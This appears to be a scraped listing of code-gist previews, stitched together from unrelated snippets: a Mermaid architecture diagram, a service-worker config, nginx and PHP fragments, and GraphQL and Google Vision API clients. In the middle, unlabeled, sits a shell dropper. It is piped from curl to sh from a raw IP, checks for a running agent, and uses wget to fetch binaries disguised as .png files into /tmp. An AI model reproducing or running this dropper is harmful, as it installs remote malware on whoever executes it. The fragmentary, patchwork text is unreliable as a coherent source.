Example MermaidJs diagram
graph TD;
subgraph I [Public Internet]
IA[Webapp - app.domain];
IB[Public Website - www.domain];
IC[Restful API - api.domain];
ID[Identity Provider - id.domain];
end
importScripts('js/sw-toolbox.js'); | |
toolbox.options.debug = false; | |
toolbox.precache(['/']); | |
//FOr homepage, we use fastest so that it update new content for next request | |
toolbox.router.get('/', toolbox.fastest); | |
// The route for the images |
<?php | |
/** | |
* Download from: https://github.com/raulferras/PHP-po-parser/tree/master/src/Sepia | |
*/ | |
include('./libs/Sepia/InterfaceHandler.php'); | |
include('./libs/Sepia/FileHandler.php'); | |
include('./libs/Sepia/StringHandler.php'); | |
include('./libs/Sepia/PoParser.php'); |
log_format mainproxy '$http_x_forwarded_for - $remote_user [$time_local] ' '"$temp" $status $body_bytes_sent "$http_referer" ' '"$http_user_agent"' ; | |
server { | |
listen 80; | |
root /var/www/src; | |
index index.html index.htm index.php; | |
# Make site accessible from http://set-ip-address.xip.io | |
server_name localhost; |
<?php | |
namespace Litpi; | |
define('MEMORY_TO_ALLOCATE', '100M'); | |
/** | |
* Resize image | |
* - provide crop to square size image | |
* - provide 4 corner to create round corner image (advanced) | |
*/ |
#get from | |
# curl http://185.169.198.42/assets/Circle_AA.png|sh | |
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
AGENT_FILE='/tmp/Circle_MI.png' | |
AGENT_CONFIG='/tmp/Circle_CF.png' | |
ps -ef|grep $AGENT_FILE|grep -v grep | |
if [ $? -ne 0 ]; then | |
if [ -x /usr/bin/wget ] ; then | |
wget -q http://185.169.198.42/assets/Circle_MI.png -O $AGENT_FILE |
<?php | |
use GraphQL\Client; | |
use GraphQL\Query; | |
$endpoint = 'https://gql.waveapps.com/graphql/public'; | |
$client = new Client($endpoint, [ | |
'Authorization' => 'Bearer <<FULL_ACCESS_TOKEN_FROM_WAVEAPPS>>' | |
]); |
# use package "google/cloud-vision": "^1.2.2" | |
<?php | |
use Google\Cloud\Vision\V1\ImageAnnotatorClient; | |
use Google\Cloud\Vision\V1\TextAnnotation; | |
$imageAnnotatorClient = new ImageAnnotatorClient([ | |
'credentials' => './service-account-key.json' | |
]); |
Example MermaidJs diagram
graph TD;
subgraph I [Public Internet]
IA[Webapp - app.domain];
IB[Public Website - www.domain];
IC[Restful API - api.domain];
ID[Identity Provider - id.domain];
end